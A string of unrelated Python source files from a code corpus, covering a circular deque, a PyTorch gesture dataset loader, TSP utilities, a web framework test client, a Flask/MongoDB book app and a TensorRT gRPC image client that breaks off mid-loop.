self.back = (self.back + 1) % self.k
return True
else:
return False
def getFront(self) -> int:
"""
Get the front item from the deque.
"""
return self.nums[self.front] if not self.isEmpty() else -1
def getRear(self) -> int:
"""
Get the last item from the deque.
"""
return self.nums[self.back] if not self.isEmpty() else -1
def isEmpty(self) -> bool:
"""
Checks whether the circular deque is empty or not.
"""
return not self.size
def isFull(self) -> bool:
"""
Checks whether the circular deque is full or not.
"""
return self.size == self.k
# Your MyCircularDeque object will be instantiated and called as such:
# obj = MyCircularDeque(k)
# param_1 = obj.insertFront(value)
# param_2 = obj.insertLast(value)
# param_3 = obj.deleteFront()
# param_4 = obj.deleteLast()
# param_5 = obj.getFront()
# param_6 = obj.getRear()
# param_7 = obj.isEmpty()
# param_8 = obj.isFull()
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Dataloaders/GestureDataSet.py | XLPRUtils/XLPR_Classification | 2 | 62073 | <filename>Dataloaders/GestureDataSet.py
# -*- coding:utf-8 -*-
import os
from PIL import Image
from torch.utils import data
from torchvision import transforms
import torch
import torch.nn.functional as F
from torch.autograd import Variable
import numpy as np
import random
import matplotlib.pyplot as plt
import json
import albumentations
import cv2
# 数据增强包
from albumentations import (
Compose,Resize,OneOf,RandomBrightness,RandomContrast,MotionBlur,MedianBlur,
GaussianBlur,VerticalFlip,HorizontalFlip,ShiftScaleRotate,Normalize,
)
class GestureDataSet(data.Dataset):
def __init__(self, dataset_path='/home/hly/GestureData/', split='train'):
# 初始化参数，可以根据情况修改
self.root_path = dataset_path # 数据集路径
self.size = [64, 64] # resize尺寸,[h,w]
self.split = split # 选取什么集[train/val/test]
self.transform = False # 是否进行数据增强，默认只有训练集增强
self.train_ratio = 0.8 # 培训集拆分训练集、测试比例
self.CLASS = 6 # 类别数
# 根据split读取数据集对应txt索引文件
if split == 'test':
self.data = open(os.path.join(self.root_path, 'test.txt'), 'r').readlines()
else:
self.data = open(os.path.join(self.root_path, 'train.txt'), 'r').readlines()
# 根据self.train_ratio切分训练集和验证集，如果是训练集开启数据增强
if split == 'train':
self.data = self.data[:int(len(self.data)*self.train_ratio)]
self.transform = True
else:
self.data = self.data[int(len(self.data) * self.train_ratio):]
# pytorch数据转换器，zero-标准化默认使用VOC的均值和方差，也可以通过mean_std.py计算数据集的均值和方差并替换
# 若数据集分布本身极不符合类正态分布，加入标准会则会降低精度
self.transforms_data = transforms.Compose([
transforms.ToTensor(),
# transforms.Normalize([0.485,0.456,0.406], [0.229,0.224,0.225]),
])
# 数据列表存入self.data中
def __getitem__(self, index):
# 根据index索引值读取对应数据的图片路径和标签
data_path, target = os.path.join(self.root_path, self.data[index][9:-1]).split(' ')
# 读取图片并resize尺寸
image = cv2.imread(data_path)
image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)
image = cv2.resize(image, (self.size[1], self.size[0]), interpolation=cv2.INTER_LINEAR)
# 如果是训练集进行数据增强，详细增强可以查看albumentations_transform
if self.transform:
image = self.albumentations_transform(image)
image = self.transforms_data(image)
# 标准格式转换
target = int(target)
# 返回单个数据的数据和标签，type(tensor)
return image, target
def __len__(self):
# 定义数据集的大小
return len(self.data)
def data_distribution(self):
number = [0] * self.CLASS
for k in self.data:
type = int(k[-2:-1])
number[type] += 1
labels = [str(i) for i in range(self.CLASS)]
# 画图
plt.pie(x=number, labels=labels)
# 展示
plt.show()
# 数据增强函数
def albumentations_transform(self, img):
# 训练集的增强
trans_train = Compose([
# 随机更改输入图像的色相，饱和度和值
# HueSaturationValue(hue_shift_limit=20, sat_shift_limit=30, val_shift_limit=20, always_apply=False, p=0.5),
# 通过用255减去像素值来反转输入图像。
# InvertImg(always_apply=False, p=1),
# 随机改变RGB三个通道的顺序
# ChannelShuffle(always_apply=False, p=0.5),
# 随机出现小黑点
# Cutout(num_holes=8, max_h_size=8, max_w_size=8, fill_value=0, always_apply=False, p=0.5),
# RandomCrop(224, 224),
OneOf([RandomBrightness(limit=0.1, p=1), RandomContrast(limit=0.1, p=1)]),
# OneOf([MotionBlur(blur_limit=3),MedianBlur(blur_limit=3), GaussianBlur(blur_limit=3),], p=0.5,),
VerticalFlip(p=0.5),
HorizontalFlip(p=0.5),
# ShiftScaleRotate(
# shift_limit=0.2,
# scale_limit=0.2,
# rotate_limit=20,
# interpolation=cv2.INTER_LINEAR,
# border_mode=cv2.BORDER_REFLECT_101,
# p=1,
# ),
])
augmented = trans_train(image=img)
return augmented['image']
if __name__ == '__main__':
dataset = GestureDataSet(split='train')
train_data_loader = torch.utils.data.DataLoader(dataset, batch_size=16, shuffle=True, drop_last=True, num_workers=10)
# 输出DataSet的大小，以及DataLoader的大小
print(len(dataset),train_data_loader.__len__())
# # 可视化图像
# for _, (data, targets) in enumerate(train_data_loader):
# print(_, data.shape, targets.shape, targets)
# fig = plt.figure()
# for i in range(16):
# ax = fig.add_subplot(4, 4, i+1)
# plt.axis('off') # 去掉每个子图的坐标轴
# plt.imshow(data[i].permute(1,2,0))
# plt.subplots_adjust(wspace=0, hspace=0) # 修改子图之间的间隔
# plt.show()
# break
# 数据分布统计
dataset.data_distribution()
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] |
src/utils/utils.py | Vnicius/ed-tsp | 0 | 173547 | <reponame>Vnicius/ed-tsp
# -*- coding: utf-8 -*-
import numpy as np
def calculate_cost(solution):
cost = 0
size_points = len(solution)
for index in range(size_points):
next_index = index + 1 if (index + 1) < size_points else 0
next_node = solution[next_index].key
next_neighbor = solution[index].neighborhood[next_node]
cost += next_neighbor.cost
return cost
def __get_index_neighborhood(solution, index):
prev_node = solution[index - 1].key if index > 0 else -1
node = solution[index].key
next_node = solution[index + 1 if index + 1 < len(solution) else 0].key
return prev_node, node, next_node
def __get_cost(node, prev_key, next_key):
cost = 0
if prev_key != -1:
cost += node.neighborhood[prev_key].cost
cost += node.neighborhood[next_key].cost
return cost
def calculate_swap_cost(solution, i, j, is_2opt=False):
prev_i, i_key, next_i = __get_index_neighborhood(solution, i)
prev_j, j_key, next_j = __get_index_neighborhood(solution, j)
i_node = solution[i]
j_node = solution[j]
old_i_cost = __get_cost(i_node, prev_i, next_i)
old_j_cost = __get_cost(j_node, prev_j, next_j)
new_i_cost = 0
new_j_cost = 0
diff_return_cost = 0
if is_2opt:
next_i, prev_j = prev_j, next_i
if j - i == 1:
prev_j = j_node.key
next_i = i_node.key
elif j == len(solution) - 1 and i == 0:
next_j = j_node.key
new_i_cost = __get_cost(j_node, prev_i, next_i)
new_j_cost = __get_cost(i_node, prev_j, next_j)
if i == 0 and j != len(solution) - 1:
old_return_cost = solution[-1].neighborhood[i_key].cost
new_return_cost = solution[-1].neighborhood[j_key].cost
diff_return_cost = new_return_cost - old_return_cost
return (new_i_cost - old_i_cost) + (new_j_cost - old_j_cost) + diff_return_cost
def get_neighbor(node, key):
return next((neighbor for neighbor in node.neighborhood
if neighbor.node.key == key))
def swap_neighborhood(solution, i, j):
solution[i], solution[j] = solution[j], solution[i]
return solution
def swap_2opt(solution, i, j):
if i == 0:
solution[i:j+1] = solution[j::-1]
else:
solution[i:j+1] = solution[j:i-1:-1]
return solution
def solution_to_string(solution):
return str([node.key for node in solution])
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pando/testing/client.py | AspenWeb/pando.py | 28 | 140495 | <filename>pando/testing/client.py
"""
:mod:`client`
-------------
"""
from functools import partial
from http.cookies import SimpleCookie
from io import BytesIO
import warnings
import mimetypes
from .. import Response
from ..http.request import STANDARD_METHODS
from ..utils import maybe_encode, typecheck
from ..website import Website
BOUNDARY = b'BoUnDaRyStRiNg'
MULTIPART_CONTENT = b'multipart/form-data; boundary=' + BOUNDARY
class DidntRaiseResponse(Exception):
pass
class FileUpload:
"""Model a file upload for testing. Takes data and a filename.
"""
def __init__(self, data, filename, content_type=None):
self.data = data
self.filename = filename
self.content_type = (
content_type or
mimetypes.guess_type(
filename.decode('ascii', 'backslashreplace')
)[0].encode('ascii')
)
def encode_multipart(boundary, data):
"""
Encodes multipart POST data from a dictionary of form values.
The key will be used as the form data name; the value will be transmitted
as content. Use the FileUpload class to simulate file uploads (note that
they still come out as FieldStorage instances inside of simplates).
"""
lines = []
if isinstance(data, dict):
data = data.items()
for key, value in data:
if isinstance(value, FileUpload):
file_upload = value
lines.extend([
b'--' + boundary,
b'Content-Disposition: form-data; name="%s"; filename="%s"' % (
key, file_upload.filename
),
b'Content-Type: ' + file_upload.content_type,
b'',
file_upload.data
])
else:
lines.extend([
b'--' + boundary,
b'Content-Disposition: form-data; name="%s"' % (
maybe_encode(key, 'utf8')
),
b'',
maybe_encode(value, 'utf8')
])
lines.extend([
b'--' + boundary + b'--',
b'',
])
return b'\r\n'.join(lines)
class Client:
"""This is the Pando test client. It is probably useful to you.
"""
def __init__(self, www_root=None, project_root=None):
self.www_root = www_root
self.project_root = project_root
self._website = None
def hydrate_website(self, **kwargs):
if (self._website is None) or kwargs:
_kwargs = {
'www_root': self.www_root,
'project_root': self.project_root,
}
_kwargs.update(kwargs)
self._website = Website(**_kwargs)
return self._website
website = property(hydrate_website)
def load_resource(self, path):
"""Given an URL path, return a Resource instance.
"""
return self.GET(path=path, return_after='get_resource_for_request', want='resource')
def get_session(self):
s = StatefulClient(www_root=self.www_root, project_root=self.project_root)
s._website = self._website
return s
# HTTP Methods (RFC 2616)
# ============
LEGACY_METHODS = {
'xPTIONS': 'OPTIONS',
'HxAD': 'HEAD',
'GxT': 'GET',
'PxST': 'POST',
'PxT': 'PUT',
'DxLETE': 'DELETE',
'TRxCE': 'TRACE',
'CxNNECT': 'CONNECT',
}
def __getattr__(self, name):
if name in STANDARD_METHODS:
return partial(self.hit, name)
elif name.startswith('x') and name[1:] in STANDARD_METHODS:
return partial(self.hxt, name[1:])
elif name in self.LEGACY_METHODS:
return partial(self.hxt, self.LEGACY_METHODS[name])
else:
return self.__getattribute__(name)
def hxt(self, *a, **kw):
try:
self.hit(*a, **kw)
except Response as response:
return response
else:
raise DidntRaiseResponse
def hit(self, method, path='/', body=None, data=None, content_type=None,
raise_immediately=True, return_after=None, want='response', **headers):
if data is not None:
warnings.warn(DeprecationWarning(
"The `data` argument is deprecated, please use `body` instead."
))
body = data
if isinstance(content_type, str):
content_type = content_type.encode('ascii')
if isinstance(body, (dict, list)):
if content_type is None:
content_type = MULTIPART_CONTENT
if content_type.startswith(b'multipart/form-data'):
body = encode_multipart(BOUNDARY, body)
else:
raise ValueError(f"Unknown `content_type`: {content_type!r}")
environ = self.build_wsgi_environ(method, path, body, content_type, **headers)
state = self.website.respond(
environ,
raise_immediately=raise_immediately,
return_after=return_after,
)
return self.resolve_want(state, want)
@staticmethod
def resolve_want(state, want):
attr_path = want.split('.')
base = attr_path[0]
attr_path = attr_path[1:]
out = state[base]
for name in attr_path:
out = getattr(out, name)
return out
def build_wsgi_environ(self, method, url, body=None, content_type=None, cookies=None, **kw):
# NOTE that in Pando (request.py make_franken_headers) only headers
# beginning with ``HTTP`` are included in the request - and those are
# changed to no longer include ``HTTP``. There are currently 2
# exceptions to this: ``'CONTENT_TYPE'``, ``'CONTENT_LENGTH'`` which
# are explicitly checked for.
if isinstance(cookies, dict) and not isinstance(cookies, SimpleCookie):
cookies, d = SimpleCookie(), cookies
for k, v in d.items():
cookies[str(k)] = str(v)
typecheck(
url, (bytes, str),
method, str,
content_type, (bytes, None),
body, (bytes, None),
)
url = url.encode('ascii') if type(url) != bytes else url
if b'?' in url:
path, qs = url.split(b'?', 1)
else:
path, qs = url, None
environ = {}
if content_type is not None:
environ[b'CONTENT_TYPE'] = content_type
if cookies is not None:
environ[b'HTTP_COOKIE'] = cookies.output(header='', sep='; ')
environ[b'HTTP_HOST'] = b'localhost'
if path:
environ[b'PATH_INFO'] = path
if qs:
environ[b'QUERY_STRING'] = qs
environ[b'REMOTE_ADDR'] = b'0.0.0.0'
environ[b'REQUEST_METHOD'] = method.encode('ascii')
environ[b'SERVER_PROTOCOL'] = b'HTTP/1.1'
if body is not None:
environ[b'wsgi.input'] = BytesIO(body)
environ[b'HTTP_CONTENT_LENGTH'] = str(len(body)).encode('ascii')
environ[b'wsgi.url_scheme'] = 'https'
environ.update((k.encode('ascii'), v) for k, v in kw.items())
return environ
class StatefulClient(Client):
"""This is a Client subclass that keeps cookies between calls."""
def __init__(self, *a, **kw):
super(StatefulClient, self).__init__(*a, **kw)
self.cookie = SimpleCookie()
def __enter__(self):
return self
def __exit__(self, *a):
self.cookie.clear()
def hit(self, *a, **kw):
cookies = kw.pop('cookies', None)
if cookies:
cookie = SimpleCookie()
# session cookies first
cookie.update(self.cookie)
# request cookies second
if isinstance(cookies, SimpleCookie):
cookie.update(cookies)
else:
for k, v in cookies.items():
cookie[str(k)] = str(v)
else:
cookie = self.cookie
kw['cookies'] = cookie
want = kw.pop('want', 'response')
kw['want'] = 'state'
state = super(StatefulClient, self).hit(*a, **kw)
r = state.get('response')
if isinstance(r, Response) and r.headers.cookie:
self.cookie.update(r.headers.cookie)
return self.resolve_want(state, want)
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] |
my_utils/dicts/set_config_default_item.py | fgitmichael/SelfSupevisedSkillDiscovery | 0 | 98978 | def set_config_default_item(config: dict, key, default) -> dict:
if not key in config.keys():
config[key] = default
return config | [
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] |
testdata/setup.py | gjtempleton/drone-pypi | 0 | 148206 | <filename>testdata/setup.py<gh_stars>0
from setuptools import setup
setup(
name='drone-pypi-test',
version='0.1.0',
description='Testing drone-pypi publishes, no other purpose.',
url='http://github.com/gjtempleton/drone-pypi',
packages=['testdata/drone_pypi_test'],
maintainer='<NAME>',
maintainer_email="<EMAIL>",
) | [
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tests/twitter_learning_journal/builders/test_detail_builder.py | DEV3L/twitter-learning-journal | 1 | 121157 | <filename>tests/twitter_learning_journal/builders/test_detail_builder.py<gh_stars>1-10
from pytest import mark
from app.twitter_learning_journal.builders.detail_builder import DetailBuilder
from app.twitter_learning_journal.models.tweet import Tweet
def test_detail_builder_init():
tweet = Tweet()
detail_builder = DetailBuilder(tweet)
assert tweet == detail_builder.tweet
assert 'blog' == detail_builder.default_detail_type
def test_build_details():
expected_title = 'full_text'
expected_type = 'blog'
tweet = Tweet(
id=1,
full_text=f'{expected_title}\ntest',
urls='urls',
classification='classification'
)
detail_builder = DetailBuilder(tweet)
detail = detail_builder.build()
assert expected_title == detail.title
assert tweet.id == detail.tweet_id
assert tweet.urls == detail.url
assert expected_type == detail.type
assert not detail.is_fully_classified
assert tweet.classification == detail.classification
assert detail_builder.default_detail_size == detail.count
@mark.parametrize('expected_title, full_text', [
('hello', 'hello\nsometest'),
('sometest', '\nsometest'),
('', ''),
('123456789112345678921234567893', '123456789112345678921234567893XXX'),
('candace', '\n\n\ncandace\nsome text'),
])
def test_title(expected_title, full_text):
tweet = Tweet(full_text=full_text)
detail_builder = DetailBuilder(tweet)
assert expected_title == detail_builder.title
| [
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translator/opennebula.py | 5g-media/mape-translation | 0 | 69410 | <gh_stars>0
from translator.basemetric import BaseMetric
from translator.exceptions import OsmInfoNotFound
from translator.utils import get_vdu_details, opennebula_metrics
import copy
class Metric(BaseMetric):
def __init__(self, raw_metric, source="opennebula"):
self.source = source
self.raw_metric = raw_metric
self.supported_metrics = opennebula_metrics()
super().__init__()
def get_metric(self):
"""Format the metric data.
Note: In case of OpenNebula, the structure is already the proper.
Thus, no transformation is needed.
Returns:
dict: the metric including the name, type, unit, timestamp and value
"""
new_metric = copy.deepcopy(self.raw_metric)
if 'vdu_uuid' in new_metric.keys():
del new_metric['vdu_uuid']
new_metric['name'] = new_metric['type']
new_metric['type'] = self.get_metric_type()
return new_metric
def get_metric_type(self):
"""Get the type of the metric
Returns:
str: the type of the metric
"""
search_for_metric = self.raw_metric['type']
if search_for_metric in self.supported_metrics.keys():
return self.supported_metrics[search_for_metric].get('type', "gauge")
return "unknown"
def get_translation(self, vdu_uuid=None):
"""Generate and return a common data model for each type of metric.
Args:
vdu_uuid (str): The vdu uuid. Actually, it maps to the container ID
Returns:
dict: A common data model for each type of metric.
"""
return get_vdu_details(vdu_uuid, self.raw_metric, source=self.source)
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app.py | TimeaKovacs86/PraiseABook | 0 | 84257 | <reponame>TimeaKovacs86/PraiseABook
import os
import pymongo as pymongo
from bson import ObjectId
from flask import Flask, render_template, request, flash, redirect, url_for
# Set environmental variables
USERNAME = os.getenv("USERNAME")
PASSWORD = os.getenv("PASSWORD")
CLUSTER = os.getenv("CLUSTER")
DB_NAME = os.getenv("DB_NAME")
COLLECTION_NAME = os.getenv("COLLECTION_NAME")
# Create database connection and naming the database and collection
client = pymongo.MongoClient(
"mongodb+srv://" + USERNAME + ":" + PASSWORD + "@" + CLUSTER + ".mongodb.net/test?retryWrites=true&w=majority")
db = client[DB_NAME]
collection = db[COLLECTION_NAME]
app = Flask(__name__)
# Set the cache to 0 -> There is no cache at all
app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0
app.secret_key = os.environ.get('SECRET_KEY')
def collect_data():
"""Fetch all the data from the database"""
book_array = []
for books in collection.find():
book_array.append(books)
ordered_book_array = book_array[::-1]
return ordered_book_array
def collect_data_update(item_id):
"""Fetched the picked books data from the database"""
return collection.find({"_id": ObjectId(item_id)})
@app.route('/')
def index():
return render_template('base.html', books=collect_data())
@app.route('/fantasy')
def fantasy():
return render_template('fantasy.html', books=collect_data())
@app.route('/horror')
def horror():
return render_template('horror.html', books=collect_data())
@app.route('/thriller')
def thriller():
return render_template('thriller.html', books=collect_data())
@app.route('/recommendation')
def recommendation():
return render_template('recommend.html')
@app.route('/create', methods=["POST"])
def create():
"""Create a new object in the database"""
author = request.form["author"]
book_title = request.form["book_title"]
genre = request.form["genre"]
recommendation = request.form["recommendation"]
book_cover_pic = request.form["book_cover_pic"]
if len(str(author)) == 0 or len(str(book_title)) == 0 or len(str(book_cover_pic)) == 0:
flash("One of the input field is empty, please fill out all the required fields!")
return redirect(url_for("recommendation"))
if genre != "Fantasy" and genre != "Horror" and genre != "Thriller":
flash("Wrong genre type!")
return redirect(url_for("recommendation"))
if len(str(recommendation)) > 301:
flash("You wrote too long recommendation")
return redirect(url_for("recommendation"))
mydict = {
"author": author,
"title": book_title,
"genre": genre,
"cover_picture_link": book_cover_pic,
"recommendation": recommendation}
collection.insert_one(mydict)
flash("You have been created a new book recommendation!")
return redirect(url_for("index"))
@app.route('/update/<item_id>')
def fill_out_update(item_id):
"""Gives you back the update form with the details of the picked book"""
id = collect_data_update(item_id)
return render_template('update.html', book=id)
@app.route('/update/<id>', methods=["POST"])
def update(id):
"""Update the details of the picked book"""
author = request.form["author"]
book_title = request.form["book_title"]
genre = request.form["genre"]
recommendation = request.form["recommendation"]
book_cover_pic = request.form["book_cover_pic"]
if len(str(author)) == 0 or len(str(book_title)) == 0 or len(str(book_cover_pic)) == 0:
flash("One of the input field is empty, please fill out all the required fields!")
return redirect(url_for("recommendation"))
if genre != "Fantasy" and genre != "Horror" and genre != "Thriller":
flash("Wrong genre type!")
return redirect(url_for("recommendation"))
if len(str(recommendation)) > 301:
flash("You wrote too long recommendation")
return render_template('update.html', book=collect_data_update(id))
mydict = {
"author": author,
"title": book_title,
"genre": genre,
"cover_picture_link": book_cover_pic,
"recommendation": recommendation
}
collection.update_one(
{"_id": ObjectId(id)},
{
"$set": mydict
}
)
flash("You have been updated a new book recommendation!")
return redirect(url_for("index"))
@app.route('/delete/<item_id>')
def delete(item_id):
"""Delete chosen book from the page"""
collection.delete_one(
{"_id": ObjectId(item_id)},
)
flash("You have been deleted the chosen book!")
return redirect(url_for("index"))
if __name__ == '__main__':
app.run(host=os.environ.get("IP"), port=int(os.environ.get("PORT")), debug=False)
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] |
src/clients/python/grpc_image_client.py | hsubbaraj/tensorrt-experiments | 0 | 199009 | #!/usr/bin/python
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of NVIDIA CORPORATION nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
# OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
import argparse
import time
import numpy as np
import pandas as pd
import os
from builtins import range
from PIL import Image
import grpc
# Drop "from src.core import" because the import hierarchy in proto files
# will be removed in Makefile.clients
from tensorrtserver.api import api_pb2
from tensorrtserver.api import grpc_service_pb2
from tensorrtserver.api import grpc_service_pb2_grpc
from tensorrtserver.api import model_config_pb2
from tensorrtserver.api import request_status_pb2
from tensorrtserver.api import server_status_pb2
FLAGS = None
def _log(*args, **kwargs):
print("[Client]", *args, **kwargs)
def model_dtype_to_np(model_dtype):
if model_dtype == model_config_pb2.TYPE_BOOL:
return np.bool
elif model_dtype == model_config_pb2.TYPE_INT8:
return np.int8
elif model_dtype == model_config_pb2.TYPE_INT16:
return np.int16
elif model_dtype == model_config_pb2.TYPE_INT32:
return np.int32
elif model_dtype == model_config_pb2.TYPE_INT64:
return np.int64
elif model_dtype == model_config_pb2.TYPE_UINT8:
return np.uint8
elif model_dtype == model_config_pb2.TYPE_UINT16:
return np.uint16
elif model_dtype == model_config_pb2.TYPE_FP16:
return np.float16
elif model_dtype == model_config_pb2.TYPE_FP32:
return np.float32
elif model_dtype == model_config_pb2.TYPE_FP64:
return np.float64
return None
def parse_model(status, model_name, batch_size, verbose=False):
"""
Check the configuration of a model to make sure it meets the
requirements for an image classification network (as expected by
this client)
"""
server_status = status.server_status
if model_name not in server_status.model_status.keys():
raise Exception("unable to get status for '" + model_name + "'")
status = server_status.model_status[model_name]
config = status.config
if len(config.input) != 1:
raise Exception("expecting 1 input, got " + len(config.input))
if len(config.output) != 1:
raise Exception("expecting 1 output, got " + len(config.output))
input = config.input[0]
output = config.output[0]
if output.data_type != model_config_pb2.TYPE_FP32:
raise Exception("expecting output datatype to be TYPE_FP32, model '" +
model_name + "' output type is " +
model_config_pb2.DataType.Name(output.data_type))
# Output is expected to be a vector. But allow any number of
# dimensions as long as all but 1 is size 1 (e.g. { 10 }, { 1, 10
# }, { 10, 1, 1 } are all ok).
non_one_cnt = 0
for dim in output.dims:
if dim > 1:
non_one_cnt += 1
if non_one_cnt > 1:
raise Exception("expecting model output to be a vector")
# Model specifying maximum batch size of 0 indicates that batching
# is not supported and so the input tensors do not expect an "N"
# dimension (and 'batch_size' should be 1 so that only a single
# image instance is inferred at a time).
max_batch_size = config.max_batch_size
if max_batch_size == 0:
if batch_size != 1:
raise Exception("batching not supported for model '" + model_name + "'")
else: # max_batch_size > 0
if batch_size > max_batch_size:
raise Exception("expecting batch size <= " + max_batch_size +
" for model '" + model_name + "'")
# Model input must have 3 dims, either CHW or HWC
if len(input.dims) != 3:
raise Exception("expecting input to have 3 dimensions, model '" +
model_name + "' input has " << len(input.dims))
if ((input.format != model_config_pb2.ModelInput.FORMAT_NCHW) and
(input.format != model_config_pb2.ModelInput.FORMAT_NHWC)):
raise Exception("unexpected input format " + model_config_pb2.ModelInput.Format.Name(input.format) +
", expecting " +
model_config_pb2.ModelInput.Format.Name(model_config_pb2.ModelInput.FORMAT_NCHW) +
" or " +
model_config_pb2.ModelInput.Format.Name(model_config_pb2.ModelInput.FORMAT_NHWC))
if input.format == model_config_pb2.ModelInput.FORMAT_NHWC:
h = input.dims[0]
w = input.dims[1]
c = input.dims[2]
else:
c = input.dims[0]
h = input.dims[1]
w = input.dims[2]
output_size = 1
for dim in output.dims:
output_size = output_size * dim
output_size = output_size * np.dtype(model_dtype_to_np(output.data_type)).itemsize
return (input.name, output.name, c, h, w, input.format, model_dtype_to_np(input.data_type), output_size)
def preprocess(img, format, dtype, c, h, w, scaling):
"""
Pre-process an image to meet the size, type and format
requirements specified by the parameters.
"""
#np.set_printoptions(threshold='nan')
if c == 1:
sample_img = img.convert('L')
else:
sample_img = img.convert('RGB')
resized_img = sample_img.resize((h, w), Image.BILINEAR)
resized = np.array(resized_img)
if resized.ndim == 2:
resized = resized[:,:,np.newaxis]
typed = resized.astype(dtype)
if scaling == 'INCEPTION':
scaled = (typed / 128) - 1
elif scaling == 'VGG':
if c == 1:
scaled = typed - np.asarray((128,), dtype=dtype)
else:
scaled = typed - np.asarray((123, 117, 104), dtype=dtype)
else:
scaled = typed
# Swap to CHW if necessary
if format == model_config_pb2.ModelInput.FORMAT_NCHW:
ordered = np.transpose(scaled, (2, 0, 1))
else:
ordered = scaled
# Channels are in RGB order. Currently model configuration data
# doesn't provide any information as to other channel orderings
# (like BGR) so we just assume RGB.
return ordered
def postprocess(results, files, idx, batch_size, num_classes, verbose=False):
"""
Post-process results to show classifications.
"""
show_all = verbose or ((batch_size == 1) and (num_classes > 1))
if show_all:
if idx == 0:
print("Output probabilities:")
print("batch {}:".format(idx))
if len(results) != 1:
raise Exception("expected 1 result, got " + str(len(results)))
batched_result = results[0].batch_classes
if len(batched_result) != batch_size:
raise Exception("expected " + str(batch_size) +
" results, got " + str(len(batched_result)))
# For each result in the batch count the top prediction. Since we
# used the same image for every entry in the batch we expect the
# top prediction to be the same for each entry... but this code
# doesn't assume that.
counts = dict()
predictions = dict()
for (index, result) in enumerate(batched_result):
label = result.cls[0].label
if label not in counts:
counts[label] = 0
counts[label] += 1
predictions[label] = result.cls[0]
# If requested, print all the class results for the entry
if show_all:
if (index >= len(files)):
index = len(files) - 1
# Top 1, print compactly
if len(result.cls) == 1:
print("Image '{}': {} ({}) = {}".format(
files[index], result.cls[0].idx,
result.cls[0].label, result.cls[0].value))
else:
print("Image '{}':".format(files[index]))
for cls in result.cls:
print(" {} ({}) = {}".format(cls.idx, cls.label, cls.value))
# Summary
print("Prediction totals:")
for (label, cnt) in counts.items():
cls = predictions[label]
print("\tcnt={}\t({}) {}".format(cnt, cls.idx, cls.label))
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-v', '--verbose', action="store_true", required=False, default=False,
help='Enable verbose output')
parser.add_argument('-m', '--model-name', type=str, required=True,
help='Name of model')
parser.add_argument('-x', '--model-version', type=str, required=False,
help='Version of model. Default is to use latest version.')
parser.add_argument('-b', '--batch-size', type=int, required=False, default=1,
help='Batch size. Default is 1.')
parser.add_argument('-c', '--classes', type=int, required=False, default=1,
help='Number of class results to report. Default is 1.')
parser.add_argument('-s', '--scaling', type=str, choices=['NONE', 'INCEPTION', 'VGG'],
required=False, default='NONE',
help='Type of scaling to apply to image pixels. Default is NONE.')
parser.add_argument('-u', '--url', type=str, required=False, default='localhost:8001',
help='Inference server URL. Default is localhost:8001.')
parser.add_argument('-p', '--preprocessed', type=str, required=False,
metavar='FILE', help='Write preprocessed image to specified file.')
parser.add_argument('--result-name', type=str, required=False,
help='Path to parquet file')
parser.add_argument('image_filename', type=str, nargs='?', default=None,
help='Input image.')
FLAGS = parser.parse_args()
# Create gRPC stub for communicating with the server
channel = grpc.insecure_channel(FLAGS.url)
grpc_stub = grpc_service_pb2_grpc.GRPCServiceStub(channel)
# Prepare request for Status gRPC
request = grpc_service_pb2.StatusRequest(model_name=FLAGS.model_name)
# Call and receive response from Status gRPC
response = grpc_stub.Status(request)
# Make sure the model matches our requirements, and get some
# properties of the model that we need for preprocessing
input_name, output_name, c, h, w, format, dtype, output_size = parse_model(
response, FLAGS.model_name, FLAGS.batch_size, FLAGS.verbose)
# Prepare request for Infer gRPC
# The meta data part can be reused across requests
request = grpc_service_pb2.InferRequest()
request.model_name = FLAGS.model_name
if FLAGS.model_version is None:
FLAGS.model_version = "" # using lastest version
request.version = FLAGS.model_version
request.meta_data.batch_size = FLAGS.batch_size
output_message = api_pb2.InferRequestHeader.Output()
output_message.name = output_name
output_message.byte_size = output_size
output_message.cls.count = FLAGS.classes
request.meta_data.output.extend([output_message])
multiple_inputs = False
batched_filenames = []
responses = []
if os.path.isdir(FLAGS.image_filename):
files = [f for f in os.listdir(FLAGS.image_filename)
if os.path.isfile(os.path.join(FLAGS.image_filename, f))]
multiple_inputs = (len(files) > 1)
input_bytes = None
requests = []
filenames = []
# Place every 'batch_size' number of images into one request
# and send it via AsyncRun() API. If the last request doesn't have
# 'batch_size' input tensors, pad it with the last input tensor.
cnt = 0
for idx in range(len(files)):
filenames.append(files[idx])
img = Image.open(os.path.join(FLAGS.image_filename, files[idx]))
input_tensor = preprocess(img, format, dtype, c, h, w, FLAGS.scaling)
# This field can not be set until input tensor is obtained
if len(request.meta_data.input) == 0:
request.meta_data.input.add(
name=input_name, byte_size=input_tensor.size * input_tensor.itemsize)
if input_bytes is None:
input_bytes = input_tensor.tobytes()
else:
input_bytes += input_tensor.tobytes()
cnt += 1
if (idx + 1 == len(files)):
while (cnt != FLAGS.batch_size):
input_bytes += input_tensor.tobytes()
cnt += 1
# Send the request and reset input_tensors
if cnt >= FLAGS.batch_size:
del request.raw_input[:]
request.raw_input.extend([input_bytes])
# Call and receive future response from async Infer gRPC
